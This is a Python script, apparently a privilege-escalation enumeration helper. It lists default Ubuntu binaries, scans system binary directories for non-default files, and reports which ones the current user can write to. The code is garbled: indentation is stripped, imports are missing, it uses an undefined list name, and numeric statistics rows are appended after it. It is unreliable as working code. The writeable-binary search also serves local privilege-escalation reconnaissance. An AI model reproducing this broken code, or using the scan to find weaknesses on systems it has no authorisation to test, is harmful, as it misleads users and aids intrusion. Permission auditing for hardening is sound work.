ubuntu_usr_bin = ['mformat', 'aa-enabled', 'migrate-pubring-from-classic-gpg', 'aa-exec', 'mimeopen', 'aconnect', 'mimetype', 'acpi_listen', 'min12xxw', 'add-apt-repository', 'minfo', 'addpart', 'mkdir', 'alsabat', 'mkfifo', 'alsaloop', 'mkfontdir', 'alsamixer', 'mkfontscale', 'alsatplg', 'mkisofs', 'alsaucm', 'mkmanifest', 'amidi', 'mk_modmap', 'amixer', 'mknod', 'amuFormat.sh', 'mksquashfs', 'apg', 'mktemp', 'apgbfm', 'mkzftree', 'aplay', 'mlabel', 'aplaymidi', 'mmcli', 'apport-bug', 'mmd', 'apport-cli', 'mmount', 'apport-collect', 'mmove', 'apport-unpack', 'monitor-sensor', 'appres', 'more', 'appstreamcli', 'mount', 'apropos', 'mountpoint', 'apt', 'mousetweaks', 'apt-add-repository', 'mpartition', 'apt-cache', 'mrd', 'apt-cdrom', 'mren', 'apt-config', 'mscompress', 'aptdcon', 'msexpand', 'apt-extracttemplates', 'mshortname', 'apt-ftparchive', 'mshowfat', 'apt-get', 'mt', 'apt-key', 'mt-gnu', 'apt-mark', 'mtools', 'apt-sortpkgs', 'mtoolstest', 'apturl', 'mtr', 'apturl-gtk', 'mtr-packet', 'arch', 'mtype', 'arecord', 'mutter', 'arecordmidi', 'mv', 'arm2hpdl', 'mxtar', 'aseqdump', 'mzip', 'aseqnet', 'namei', 'aspell', 'nano', 'aspell-import', 'nautilus', 'atobm', 'nautilus-autorun-software', 'avahi-browse', 'nautilus-sendto', 'avahi-browse-domains', 'nawk', 'avahi-publish', 'nc', 'avahi-publish-address', 'ncal', 'avahi-publish-service', 'nc.openbsd', 'avahi-resolve', 'neqn', 'avahi-resolve-address', 'netcat', 'avahi-resolve-host-name', 'netkit-ftp', 'avahi-set-host-name', 'networkctl', 'awk', 'networkd-dispatcher', 'axfer', 'newgrp', 'b2sum', 'ngettext', 'base32', 'nice', 'base64', 'nisdomainname', 'basename', 'nl', 'bash', 'nm-applet', 'bashbug', 'nmcli', 'bc', 'nm-connection-editor', 'bccmd', 'nm-online', 'bdftopcf', 'nmtui', 'bdftruncate', 'nmtui-connect', 'bitmap', 'nmtui-edit', 'bluemoon', 'nmtui-hostname', 'bluetoothctl', 'nohup', 'bluetooth-sendto', 'notify-send', 'bmtoa', 'nproc', 'boltctl', 'nroff', 'bootctl', 'nsenter', 'brltty', 'nslookup', 'brltty-ctb', 'nstat', 'brltty-trtxt', 'nsupdate', 'brltty-ttb', 'ntfs-3g', 'broadwayd', 'ntfs-3g.probe', 'browse', 'ntfscat', 'bsd-from', 'ntfscluster', 'bsd-write', 'ntfscmp', 'btattach', 'ntfsdecrypt', 'btmgmt', 'ntfsfallocate', 'btmon', 'ntfsfix', 'bunzip2', 'ntfsinfo', 'busctl', 'ntfsls', 'busybox', 'ntfsmove', 'bwrap', 'ntfsrecover', 'bzcat', 'ntfssecaudit', 'bzcmp', 'ntfstruncate', 'bzdiff', 'ntfsusermap', 'bzegrep', 'ntfswipe', 'bzexe', 'numfmt', 'bzfgrep', 'nvidia-detector', 'bzgrep', 'oakdecode', 'bzip2', 'obexctl', 'bzip2recover', 'oclock', 'bzless', 'od', 'bzmore', 'oem-getlogs', 'cal', 'on_ac_power', 'calendar', 'openssl', 'calibrate_ppa', 'openvt', 'canberra-gtk-play', 'opldecode', 'cancel', 'orca', 'captoinfo', 'orca-dm-wrapper', 'cat', 'os-prober', 'catchsegv', 'p11-kit', 'catman', 'pacat', 'cautious-launcher', 'pacmd', 'cd-create-profile', 'pactl', 'cd-fix-profile', 'padsp', 'cd-iccdump', 'pager', 'cd-it8', 'pa-info', 'chacl', 'pamon', 'chage', 'paperconf', 'chardet3', 'paplay', 'chardetect3', 'parec', 'chattr', 'parecord', 'chcon', 'partx', 'check-language-support', 'passwd', 'chfn', 'paste', 'chgrp', 'pasuspender', 'chmod', 'patch', 'choom', 'pathchk', 'chown', 'pax11publish', 'chrt', 'pdb3', 'chsh', 'pdb3.8', 'chvt', 'pdf2dsc', 'ciptool', 'pdf2ps', 'ckbcomp', 'pdfattach', 'cksum', 'pdfdetach', 'clear', 'pdffonts', 'clear_console', 'pdfimages', 'cmp', 'pdfinfo', 'codepage', 'pdfseparate', 'col', 'pdfsig', 'colcrt', 'pdftocairo', 'colormgr', 'pdftohtml', 'colrm', 'pdftoppm', 'column', 'pdftops', 'comm', 'pdftotext', 'compose', 'pdfunite', 'corelist', 'peekfd', 'cp', 'perl', 'cpan', 'perl5.30.0', 'cpan5.30-x86_64-linux-gnu', 'perl5.30-x86_64-linux-gnu', 'cpio', 'perlbug', 'cpp', 'perldoc', 'cpp-9', 'perli11ndoc', 'c_rehash', 'perlivp', 'crontab', 'perlthanks', 'csplit', 'pf2afm', 'ctstat', 'pfbtopfa', 'cupstestppd', 'pftp', 'cut', 'pgrep', 'cvt', 'pic', 'cvtsudoers', 'pico', 'dash', 'piconv', 'date', 'pidof', 'dbus-cleanup-sockets', 'pinentry', 'dbus-daemon', 'pinentry-curses', 'dbus-launch', 'pinentry-gnome3', 'dbus-monitor', 'pinentry-x11', 'dbus-run-session', 'ping', 'dbus-send', 'ping4', 'dbus-update-activation-environment', 'ping6', 'dbus-uuidgen', 'pinky', 'dbxtool', 'pkaction', 'dc', 'pkcheck', 'dconf', 'pkcon', 'dd', 'pkexec', 'ddstdecode', 'pkg-config', 'deallocvt', 'pkill', 'debconf', 'pkmon', 'debconf-apt-progress', 'pkttyagent', 'debconf-communicate', 'pl2pm', 'debconf-copydb', 'pldd', 'debconf-escape', 'plog', 'debconf-set-selections', 'plymouth', 'debconf-show', 'pmap', 'debian-distro-info', 'pnm2ppa', 'deb-systemd-helper', 'pod2html', 'deb-systemd-invoke', 'pod2man', 'delpart', 'pod2text', 'delv', 'pod2usage', 'desktop-file-edit', 'podchecker', 'desktop-file-install', 'podselect', 'desktop-file-validate', 'poff', 'devdump', 'pon', 'df', 'POST', 'dfu-tool', 'ppdc', 'dh_bash-completion', 'ppdhtml', 'dh_installxmlcatalogs', 'ppdi', 'dh_perl_openssl', 'ppdmerge', 'diff', 'ppdpo', 'diff3', 'pphs', 'dig', 'pr', 'dir', 'precat', 'dircolors', 'preconv', 'dirmngr', 'preunzip', 'dirmngr-client', 'prezip', 'dirname', 'prezip-bin', 'dirsplit', 'print', 'distro-info', 'printafm', 'dmesg', 'printenv', 'dnsdomainname', 'printerbanner', 'domainname', 'printer-profile', 'do-release-upgrade', 'printf', 'dpkg', 'prlimit', 'dpkg-deb', 'prove', 'dpkg-divert', 'prtstat', 'dpkg-maintscript-helper', 'ps', 'dpkg-query', 'ps2ascii', 'dpkg-split', 'ps2epsi', 'dpkg-statoverride', 'ps2pdf', 'dpkg-trigger', 'ps2pdf12', 'driverless', 'ps2pdf13', 'du', 'ps2pdf14', 'dumpkeys', 'ps2pdfwr', 'dvipdf', 'ps2ps', 'echo', 'ps2ps2', 'ed', 'ps2txt', 'edit', 'psfaddtable', 'editor', 'psfgettable', 'editres', 'psfstriptable', 'egrep', 'psfxtable', 'eject', 'psicc', 'enc2xs', 'pslog', 'encguess', 'pstree', 'enchant-2', 'pstree.x11', 'enchant-lsmod-2', 'ptar', 'env', 'ptardiff', 'envsubst', 'ptargrep', 'eog', 'ptx', 'eps2eps', 'pulseaudio', 'eqn', 'pwd', 'esc-m', 'pwdx', 'eutp', 'py3clean', 'evince', 'py3compile', 'evince-previewer', 'py3versions', 'evince-thumbnailer', 'pydoc3', 'ex', 'pydoc3.8', 'expand', 'pygettext3', 'expiry', 'pygettext3.8', 'expr', 'pyjwt3', 'factor', 'python3', 'faillog', 'python3.8', 'fallocate', 'qpdldecode', 'false', 'quirks-handler', 'fc-cache', 'rbash', 'fc-cat', 'rcp', 'fc-conflist', 'rctest', 'fc-list', 'rdma', 'fc-match', 'readlink', 'fc-pattern', 'realpath', 'fc-query', 'red', 'fc-scan', 'rename.ul', 'fc-validate', 'rendercheck', 'fgconsole', 'renice', 'fgrep', 'reset', 'file', 'resizecons', 'file2brl', 'resizepart', 'file-roller', 'resolvectl', 'fincore', 'rev', 'find', 'rfcomm', 'findmnt', 'rgrep', 'firefox', 'rlogin', 'flock', 'rm', 'fmt', 'rmdir', 'fold', 'rnano', 'fonttosfnt', 'routef', 'foo2ddst', 'routel', 'foo2ddst-wrapper', 'rrsync', 'foo2hbpl2', 'rsh', 'foo2hbpl2-wrapper', 'rstart', 'foo2hiperc', 'rstartd', 'foo2hiperc-wrapper', 'rsync', 'foo2hp', 'rtstat', 'foo2hp2600-wrapper', 'runcon', 'foo2lava', 'run-mailcap', 'foo2lava-wrapper', 'run-parts', 'foo2oak', 'run-with-aspell', 'foo2oak-wrapper', 'rview', 'foo2qpdl', 'rygel', 'foo2qpdl-wrapper', 'sane-find-scanner', 'foo2slx', 'savelog', 'foo2slx-wrapper', 'sbattach', 'foo2xqx', 'sbkeysync', 'foo2xqx-wrapper', 'sbsiglist', 'foo2zjs', 'sbsign', 'foo2zjs-icc2ps', 'sbvarsign', 'foo2zjs-pstops', 'sbverify', 'foo2zjs-wrapper', 'scanimage', 'foomatic-rip', 'scp', 'fprintd-delete', 'scp-dbus-service', 'fprintd-enroll', 'screendump', 'fprintd-list', 'script', 'fprintd-verify', 'scriptreplay', 'free', 'sdiff', 'from', 'sdptool', 'ftp', 'seahorse', 'funzip', 'sed', 'fuser', 'see', 'fusermount', 'select-default-iwrap', 'fwupdagent', 'select-editor', 'fwupdate', 'sensible-browser', 'fwupdmgr', 'sensible-editor', 'fwupdtool', 'sensible-pager', 'fwupdtpmevlog', 'seq', 'gamemoded', 'session-migration', 'gamemoderun', 'sessreg', 'gamma4scanimage', 'setarch', 'gapplication', 'setfacl', 'gatttool', 'setfont', 'gcalccmd', 'setkeycodes', 'gcore', 'setleds', 'gcr-viewer', 'setlogcons', 'gdb', 'setmetamode', 'gdb-add-index', 'setpci', 'gdbserver', 'setpriv', 'gdbtui', 'setsid', 'gdbus', 'setterm', 'gdialog', 'setupcon', 'gdk-pixbuf-csource', 'setxkbmap', 'gdk-pixbuf-pixdata', 'sftp', 'gdk-pixbuf-thumbnailer', 'sg', 'gdmflexiserver', 'sh', 'gdm-screenshot', 'sha1sum', 'gedit', 'sha224sum', 'genisoimage', 'sha256sum', 'geqn', 'sha384sum', 'GET', 'sha512sum', 'getconf', 'shasum', 'geteltorito', 'showconsolefont', 'getent', 'showkey', 'getfacl', 'showrgb', 'getkeycodes', 'shred', 'getopt', 'shuf', 'gettext', 'skill', 'gettext.sh', 'slabtop', 'ghostscript', 'sleep', 'ginstall-info', 'slogin', 'gio', 'slxdecode', 'gio-querymodules', 'smproxy', 'gipddecode', 'snap', 'gjs', 'snapctl', 'gjs-console', 'snapfuse', 'gkbd-keyboard-display', 'snice', 'glib-compile-schemas', 'soelim', 'gnome-calculator', 'software-properties-gtk', 'gnome-characters', 'sort', 'gnome-control-center', 'spd-conf', 'gnome-disk-image-mounter', 'spd-say', 'gnome-disks', 'speaker-test', 'gnome-extensions', 'speech-dispatcher', 'gnome-font-viewer', 'spice-vdagent', 'gnome-help', 'splain', 'gnome-keyring', 'split', 'gnome-keyring-3', 'splitfont', 'gnome-keyring-daemon', 'ss', 'gnome-language-selector', 'ssh', 'gnome-logs', 'ssh-add', 'gnome-power-statistics', 'ssh-agent', 'gnome-screenshot', 'ssh-argv0', 'gnome-session', 'ssh-copy-id', 'gnome-session-custom-session', 'ssh-keygen', 'gnome-session-inhibit', 'ssh-keyscan', 'gnome-session-properties', 'start-pulseaudio-x11', 'gnome-session-quit', 'startx', 'gnome-shell', 'stat', 'gnome-shell-extension-tool', 'static-sh', 'gnome-shell-perf-tool', 'stdbuf', 'gnome-system-monitor', 'strace', 'gnome-terminal', 'strace-log-merge', 'gnome-terminal.real', 'stty', 'gnome-terminal.wrapper', 'su', 'gnome-text-editor', 'sudo', 'gnome-thumbnail-font', 'sudoedit', 'gnome-www-browser', 'sudoreplay', 'gpasswd', 'sum', 'gpg', 'symcryptrun', 'gpg-agent', 'sync', 'gpgcompose', 'system-config-printer', 'gpgconf', 'system-config-printer-applet', 'gpg-connect-agent', 'systemctl', 'gpgparsemail', 'systemd', 'gpgsm', 'systemd-analyze', 'gpgsplit', 'systemd-ask-password', 'gpgtar', 'systemd-cat', 'gpgv', 'systemd-cgls', 'gpg-wks-server', 'systemd-cgtop', 'gpg-zip', 'systemd-delta', 'gpic', 'systemd-detect-virt', 'gpu-manager', 'systemd-escape', 'grep', 'systemd-hwdb', 'gresource', 'systemd-id128', 'groff', 'systemd-inhibit', 'grog', 'systemd-machine-id-setup', 'grops', 'systemd-mount', 'grotty', 'systemd-notify', 'groups', 'systemd-path', 'grub-editenv', 'systemd-resolve', 'grub-file', 'systemd-run', 'grub-fstest', 'systemd-socket-activate', 'grub-glue-efi', 'systemd-stdio-bridge', 'grub-kbdcomp', 'systemd-sysusers', 'grub-menulst2cfg', 'systemd-tmpfiles', 'grub-mkfont', 'systemd-tty-ask-password-agent', 'grub-mkimage', 'systemd-umount', 'grub-mklayout', 'tabs', 'grub-mknetdir', 'tac', 'grub-mkpasswd-pbkdf2', 'tail', 'grub-mkrelpath', 'tar', 'grub-mkrescue', 'taskset', 'grub-mkstandalone', 'tbl', 'grub-mount', 'tee', 'grub-ntldr-img', 'telnet', 'grub-render-label', 'telnet.netkit', 'grub-script-check', 'tempfile', 'grub-syslinux2cfg', 'test', 'gs', 'tgz', 'gsbj', 'tic', 'gsdj', 'tificc', 'gsdj500', 'time', 'gsettings', 'timedatectl', 'gslj', 'timeout', 'gslp', 'tload', 'gsnd', 'toe', 'gst-device-monitor-1.0', 'top', 'gst-discoverer-1.0', 'touch', 'gst-inspect-1.0', 'tput', 'gst-launch-1.0', 'tr', 'gst-play-1.0', 'tracepath', 'gstreamer-codec-install', 'traceroute6', 'gst-typefind-1.0', 'traceroute6.iputils', 'gtbl', 'tracker', 'gtf', 'transicc', 'gtk-builder-tool', 'transset', 'gtk-encode-symbolic-svg', 'troff', 'gtk-launch', 'true', 'gtk-query-settings', 'truncate', 'gtk-update-icon-cache', 'trust', 'gunzip', 'tset', 'gvfs-cat', 'tsort', 'gvfs-copy', 'ttfread', 'gvfs-info', 'tty', 'gvfs-less', 'tzselect', 'gvfs-ls', 'ua', 'gvfs-mime', 'ubuntu-advantage', 'gvfs-mkdir', 'ubuntu-bug', 'gvfs-monitor-dir', 'ubuntu-core-launcher', 'gvfs-monitor-file', 'ubuntu-distro-info', 'gvfs-mount', 'ubuntu-drivers', 'gvfs-move', 'ubuntu-report', 'gvfs-open', 'ubuntu-security-status', 'gvfs-rename', 'ucf', 'gvfs-rm', 'ucfq', 'gvfs-save', 'ucfr', 'gvfs-set-attribute', 'ucs2any', 'gvfs-trash', 'udevadm', 'gvfs-tree', 'udisksctl', 'gzexe', 'ul', 'gzip', 'ulockmgr_server', 'h2ph', 'umax_pp', 'h2xs', 'umount', 'hbpldecode', 'uname', 'hciattach', 'unattended-upgrade', 'hciconfig', 'unattended-upgrades', 'hcitool', 'uncompress', 'hd', 'unexpand', 'head', 'unicode_start', 'HEAD', 'unicode_stop', 'helpztags', 'uniq', 'hex2hcd', 'unity-scope-loader', 'hexdump', 'unlink', 'hipercdecode', 'unlz4', 'host', 'unlzma', 'hostid', 'unmkinitramfs', 'hostname', 'unshare', 'hostnamectl', 'unsquashfs', 'hp-align', 'unxz', 'hp-check', 'unzip', 'hp-clean', 'unzipsfx', 'hp-colorcal', 'update-alternatives', 'hp-config_usb_printer', 'update-desktop-database', 'hp-doctor', 'update-manager', 'hp-firmware', 'update-mime-database', 'hp-info', 'update-notifier', 'hp-levels', 'upower', 'hp-logcapture', 'uptime', 'hp-makeuri', 'usb-devices', 'hp-pkservice', 'usbhid-dump', 'hp-plugin', 'usb_printerid', 'hp-plugin-ubuntu', 'usbreset', 'hp-probe', 'users', 'hp-query', 'utmpdump', 'hp-scan', 'uuidgen', 'hp-setup', 'uuidparse', 'hp-testpage', 'uz', 'hp-timedate', 'vdir', 'hwe-support-status', 'VGAuthService', 'i386', 'vi', 'i686-linux-gnu-pkg-config', 'view', 'ibus', 'viewres', 'ibus-daemon', 'vim.tiny', 'ibus-setup', 'vmhgfs-fuse', 'ibus-table-createdb', 'vmstat', 'iceauth', 'vm-support', 'ico', 'vmtoolsd', 'iconv', 'vmware-alias-import', 'id', 'vmware-checkvm', 'iecset', 'vmwarectrl', 'ijs_pxljr', 'vmware-hgfsclient', 'im-config', 'vmware-namespace-cmd', 'im-launch', 'vmware-rpctool', 'info', 'vmware-toolbox-cmd', 'infobrowser', 'vmware-user', 'infocmp', 'vmware-user-suid-wrapper', 'infotocap', 'vmware-vgauth-cmd', 'inputattach', 'vmware-vmblock-fuse', 'install', 'vmware-xferlogs', 'install-info', 'vmwgfxctrl', 'install-printerdriver', 'volname', 'instmodsh', 'vstp', 'intel-virtual-output', 'w', 'ionice', 'wall', 'ip', 'watch', 'ipcmk', 'watchgnupg', 'ipcrm', 'wc', 'ipcs', 'wdctl', 'ippfind', 'wget', 'ipptool', 'whatis', 'iptables-xml', 'whereis', 'ischroot', 'which', 'isdv4-serial-debugger', 'whiptail', 'isdv4-serial-inputattach', 'who', 'isodump', 'whoami', 'isoinfo', 'whoopsie', 'isovfy', 'whoopsie-preferences', 'ispell-wrapper', 'word-list-compress', 'join', 'wpa_passphrase', 'journalctl', 'w.procps', 'jpgicc', 'write', 'json_pp', 'X', 'kbdinfo', 'X11', 'kbd_mode', 'x11perf', 'kbxutil', 'x11perfcomp', 'kernel-install', 'x86_64', 'kerneloops-submit', 'x86_64-linux-gnu-cpp', 'keyring', 'x86_64-linux-gnu-cpp-9', 'kill', 'x86_64-linux-gnu-pkg-config', 'killall', 'x86_64-pc-linux-gnu-pkg-config', 'kmod', 'xargs', 'kmodsign', 'xauth', 'l2ping', 'xbiff', 'l2test', 'xbrlapi', 'laptop-detect', 'xcalc', 'last', 'xclipboard', 'lastb', 'xclock', 'lastlog', 'xcmsdb', 'lavadecode', 'xconsole', 'lcf', 'xcursorgen', 'ldd', 'xcutsel', 'less', 'xdg-dbus-proxy', 'lessecho', 'xdg-desktop-icon', 'lessfile', 'xdg-desktop-menu', 'lesskey', 'xdg-email', 'lesspipe', 'xdg-icon-resource', 'lexgrog', 'xdg-mime', 'libnetcfg', 'xdg-open', 'libwacom-list-local-devices', 'xdg-screensaver', 'link', 'xdg-settings', 'linkicc', 'xdg-user-dir', 'linux32', 'xdg-user-dirs-gtk-update', 'linux64', 'xdg-user-dirs-update', 'linux-boot-prober', 'xditview', 'linux-check-removal', 'xdpyinfo', 'linux-update-symlinks', 'xdriinfo', 'linux-version', 'xedit', 'listres', 'Xephyr', 'ln', 'xev', 'lnstat', 'xeyes', 'loadkeys', 'xfd', 'loadunimap', 'xfontsel', 'locale', 'xgamma', 'locale-check', 'xgc', 'localectl', 'xhost', 'localedef', 'xinit', 'logger', 'xinput', 'login', 'xkbbell', 'loginctl', 'xkbcomp', 'logname', 'xkbevd', 'look', 'xkbprint', 'lorder', 'xkbvleds', 'lowntfs-3g', 'xkbwatch', 'lp', 'xkeystone', 'lpoptions', 'xkill', 'lpq', 'xload', 'lpr', 'xlogo', 'lprm', 'xlsatoms', 'lpstat', 'xlsclients', 'ls', 'xlsfonts', 'lsattr', 'xmag', 'lsblk', 'xman', 'lsb_release', 'xmessage', 'lscpu', 'xmodmap', 'lshw', 'xmore', 'lsinitramfs', 'Xorg', 'lsipc', 'xprop', 'lslocks', 'xqxdecode', 'lslogins', 'xrandr', 'lsmem', 'xrdb', 'lsmod', 'xrefresh', 'lsns', 'x-session-manager', 'lsof', 'xset', 'lspci', 'xsetmode', 'lspgpot', 'xsetpointer', 'lsusb', 'xsetroot', 'ltrace', 'xsetwacom', 'luit', 'xsm', 'lwp-download', 'xstdcmap', 'lwp-dump', 'xsubpp', 'lwp-mirror', 'x-terminal-emulator', 'lwp-request', 'xvidtune', 'lz', 'xvinfo', 'lz4', 'Xwayland', 'lz4c', 'xwd', 'lz4cat', 'x-window-manager', 'lzcat', 'xwininfo', 'lzcmp', 'xwud', 'lzdiff', 'x-www-browser', 'lzegrep', 'xxd', 'lzfgrep', 'xz', 'lzgrep', 'xzcat', 'lzless', 'xzcmp', 'lzma', 'xzdiff', 'lzmainfo', 'xzegrep', 'lzmore', 'xzfgrep', 'm2300w', 'xzgrep', 'm2300w-wrapper', 'xzless', 'm2400w', 'xzmore', 'man', 'yelp', 'mandb', 'yes', 'manpath', 'ypdomainname', 'man-recode', 'zcat', 'mapscrn', 'zcmp', 'mattrib', 'zdiff', 'mawk', 'zdump', 'mbadblocks', 'zegrep', 'mcat', 'zenity', 'mcd', 'zfgrep', 'mcheck', 'zforce', 'mclasserase', 'zgrep', 'mcomp', 'zip', 'mcookie', 'zipcloak', 'mcopy', 'zipdetails', 'md5sum', 'zipgrep', 'md5sum.textutils', 'zipinfo', 'mdel', 'zipnote', 'mdeltree', 'zipsplit', 'mdig', 'zjsdecode', 'mdir', 'zless', 'mdu', 'zmore', 'mesa-overlay-control.py', 'znew', 'mesg']
ubuntu_sbin = ['aa-remove-unknown', 'getweb', 'pam_extrausers_chkpwd', 'aa-status', 'gnome-menus-blacklist', 'pam_extrausers_update', 'aa-teardown', 'groupadd', 'pam_getenv', 'accessdb', 'groupdel', 'pam_tally', 'acpid', 'groupmems', 'pam_tally2', 'addgnupghome', 'groupmod', 'pam_timestamp_check', 'addgroup', 'grpck', 'paperconfig', 'add-shell', 'grpconv', 'parted', 'adduser', 'grpunconv', 'partprobe', 'agetty', 'grub-bios-setup', 'pccardctl', 'alsa', 'grub-install', 'pivot_root', 'alsabat-test', 'grub-macbless', 'plymouthd', 'alsactl', 'grub-mkconfig', 'popcon-largest-unused', 'alsa-info', 'grub-mkdevicemap', 'popularity-contest', 'anacron', 'grub-probe', 'poweroff', 'apparmor_parser', 'grub-reboot', 'pppd', 'apparmor_status', 'grub-set-default', 'pppdump', 'applygnupgdefaults', 'halt', 'pppoe-discovery', 'aptd', 'hdparm', 'pppstats', 'arpd', 'hwclock', 'pptp', 'arptables', 'iconvconfig', 'pptpsetup', 'arptables-nft', 'iio-sensor-proxy', 'pwck', 'arptables-nft-restore', 'init', 'pwconv', 'arptables-nft-save', 'insmod', 'pwunconv', 'arptables-restore', 'installkernel', 'raw', 'arptables-save', 'install-sgmlcatalog', 'readprofile', 'aspell-autobuildhash', 'invoke-rc.d', 'reboot', 'avahi-autoipd', 'ip', 'regdbdump', 'avahi-daemon', 'ip6tables', 'remove-default-ispell', 'badblocks', 'ip6tables-apply', 'remove-default-wordlist', 'biosdecode', 'ip6tables-legacy', 'remove-shell', 'blkdeactivate', 'ip6tables-legacy-restore', 'resize2fs', 'blkdiscard', 'ip6tables-legacy-save', 'rfkill', 'blkid', 'ip6tables-nft', 'rmmod', 'blkzone', 'ip6tables-nft-restore', 'rmt', 'blockdev', 'ip6tables-nft-save', 'rmt-tar', 'bluetoothd', 'ip6tables-restore', 'rsyslogd', 'bridge', 'ip6tables-restore-translate', 'rtacct', 'brltty', 'ip6tables-save', 'rtcwake', 'brltty-setup', 'ip6tables-translate', 'rtkitctl', 'capsh', 'ippeveprinter', 'rtmon', 'cfdisk', 'ippusbxd', 'runlevel', 'cgdisk', 'iptables', 'runuser', 'chat', 'iptables-apply', 'saned', 'chcpu', 'iptables-legacy', 'select-default-ispell', 'chgpasswd', 'iptables-legacy-restore', 'select-default-wordlist', 'chmem', 'iptables-legacy-save', 'service', 'chpasswd', 'iptables-nft', 'setcap', 'chroot', 'iptables-nft-restore', 'setvesablank', 'cpgr', 'iptables-nft-save', 'setvtrgb', 'cppw', 'iptables-restore', 'sfdisk', 'cracklib-check', 'iptables-restore-translate', 'sgdisk', 'cracklib-format', 'iptables-save', 'shadowconfig', 'cracklib-packer', 'iptables-translate', 'shutdown', 'cracklib-unpacker', 'irqbalance', 'spice-vdagentd', 'crda', 'irqbalance-ui', 'start-stop-daemon', 'create-cracklib-dict', 'isosize', 'sulogin', 'cron', 'ispell-autobuildhash', 'swaplabel', 'ctrlaltdel', 'iucode-tool', 'swapoff', 'cupsaccept', 'iucode_tool', 'swapon', 'cups-browsed', 'iw', 'switch_root', 'cupsctl', 'iwconfig', 'sysctl', 'cupsd', 'iwevent', 'tarcat', 'cupsdisable', 'iwgetid', 'tc', 'cupsenable', 'iwlist', 'tcpdump', 'cupsfilter', 'iwpriv', 'telinit', 'cupsreject', 'iwspy', 'thermald', 'debugfs', 'kbdrate', 'tipc', 'delgroup', 'kerneloops', 'tune2fs', 'deluser', 'killall5', 'tzconfig', 'depmod', 'ldattach', 'u-d-c-print-pci-ids', 'devlink', 'ldconfig', 'ufw', 'dhclient', 'ldconfig.real', 'umount.udisks2', 'dhclient-script', 'locale-gen', 'unix_chkpwd', 'dmidecode', 'logrotate', 'unix_update', 'dmsetup', 'logsave', 'update-ca-certificates', 'dmstats', 'losetup', 'update-catalog', 'dnsmasq', 'lpadmin', 'update-cracklib', 'dosfsck', 'lpc', 'update-default-aspell', 'dosfslabel', 'lpinfo', 'update-default-ispell', 'dpkg-preconfigure', 'lpmove', 'update-default-wordlist', 'dpkg-reconfigure', 'lsmod', 'update-dictcommon-aspell', 'dumpe2fs', 'lspcmcia', 'update-dictcommon-hunspell', 'e2freefrag', 'make-ssl-cert', 'update-fonts-alias', 'e2fsck', 'mkdosfs', 'update-fonts-dir', 'e2image', 'mke2fs', 'update-fonts-scale', 'e2label', 'mkfs', 'update-grub', 'e2mmpstatus', 'mkfs.bfs', 'update-grub2', 'e2scrub', 'mkfs.cramfs', 'update-grub-gfxpayload', 'e2scrub_all', 'mkfs.ext2', 'update-gsfontmap', 'e2undo', 'mkfs.ext3', 'update-icon-caches', 'e4crypt', 'mkfs.ext4', 'update-inetd', 'e4defrag', 'mkfs.fat', 'update-info-dir', 'ebtables', 'mkfs.minix', 'update-initramfs', 'ebtables-nft', 'mkfs.msdos', 'update-locale', 'ebtables-nft-restore', 'mkfs.ntfs', 'update-mime', 'ebtables-nft-save', 'mkfs.vfat', 'update-passwd', 'ebtables-restore', 'mkhomedir_helper', 'update-pciids', 'ebtables-save', 'mkinitramfs', 'update-rc.d', 'faillock', 'mklost+found', 'update-xmlcatalog', 'fatlabel', 'mkntfs', 'upgrade-from-grub-legacy', 'fdformat', 'mkswap', 'usb_modeswitch', 'fdisk', 'ModemManager', 'usb_modeswitch_dispatcher', 'filefrag', 'modinfo', 'usbmuxd', 'findfs', 'modprobe', 'useradd', 'fixparts', 'mount.fuse', 'userdel', 'fsck', 'mount.lowntfs-3g', 'usermod', 'fsck.cramfs', 'mount.ntfs', 'uuidd', 'fsck.ext2', 'mount.ntfs-3g', 'validlocale', 'fsck.ext3', 'mount.vmhgfs', 'vcstime', 'fsck.ext4', 'netplan', 'vigr', 'fsck.fat', 'NetworkManager', 'vipw', 'fsck.minix', 'newusers', 'visudo', 'fsck.msdos', 'nfnl_osf', 'vpddecode', 'fsck.vfat', 'nologin', 'wipefs', 'fsfreeze', 'ntfsclone', 'wpa_action', 'fstab-decode', 'ntfscp', 'wpa_cli', 'fstrim', 'ntfslabel', 'wpa_supplicant', 'gdisk', 'ntfsresize', 'xtables-legacy-multi', 'gdm3', 'ntfsundelete', 'xtables-monitor', 'genl', 'on_ac_power', 'xtables-nft-multi', 'getcap', 'openvpn', 'zic', 'getpcaps', 'ownership', 'zramctl', 'getty', 'pam-auth-update']
dir_list = ['/bin','/usr/bin','/sbin']
writeable = ''
def check_access(files,directory):
global writeable
file = f'{directory}/{files}'
if (os.access(file,os.X_OK)) == True:
execute = ("\033[0;32m X\033[00m")
else:
execute = ("\033[0;31m X\033[00m")
if os.access(file,os.W_OK) == True:
write =('\x1b[6;30;42mW\x1b[0m')
writeable += f'{file}\n'
else:
write = ("\033[0;31m W\033[00m")
if os.access(file, os.R_OK) == True:
read = ("\033[0;32m R\033[00m")
else:
read = ("\033[0;31m R\033[00m")
return print(read,write,execute)
def bin_check(scan_type,directory):
if scan_type == 'u':
for file in os.listdir(directory):
if file not in ubuntu_bin:
print(f"(+) Found Custom Binary:{directory}/{file} ", end='')
access = str((check_access(file, directory)))
if scan_type == 'f':
for file in os.listdir(directory):
print(f"(+) Found Binary: {directory}/{file} ", end='')
access = str((check_access(file, directory)))
def main():
try:
action = sys.argv[1]
except IndexError:
print('No argument supplied | try -h for help')
exit()
if sys.argv[1] == '-h':
print('Help:\n-u : Finds all non default binaries | This could be any binaries added to a system after install\n-f : Finds all non binaries and shows their RWX \n-c :You can pass -c as third argument and define custom directores. \n Usage: python3 main.py -<scantype> -c <directories separated by comma>')
exit()
if len(sys.argv) > 2:
if len(sys.argv) == 3:
print('Not enough arguments provided for -c')
else:
if sys.argv[2] == '-c':
custom_list = sys.argv[3].split(",",1)
for c in custom_list:
dir_list.append(c)
for d in dir_list:
if sys.argv[1] == '-u':
bin_check('u',d)
if sys.argv[1] == '-f':
bin_check('f',d)
print(f'\nAll Writeable Binaries:\n\n{writeable}')
main()
| 603.73913
| 17,140
| 0.65536
| 4,794
| 41,658
| 5.67209
| 0.358573
| 0.002574
| 0.003678
| 0.004781
| 0.830391
| 0.829803
| 0.827817
| 0.826199
| 0.826199
| 0.826199
| 0
| 0.015003
| 0.08481
| 41,658
| 68
| 17,141
| 612.617647
| 0.69823
| 0
| 0
| 0.172414
| 0
| 0.017241
| 0.674804
| 0.071511
| 0
| 0
| 0
| 0
| 0
| 1
| 0.051724
| false
| 0.068966
| 0.068966
| 0
| 0.137931
| 0.172414
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
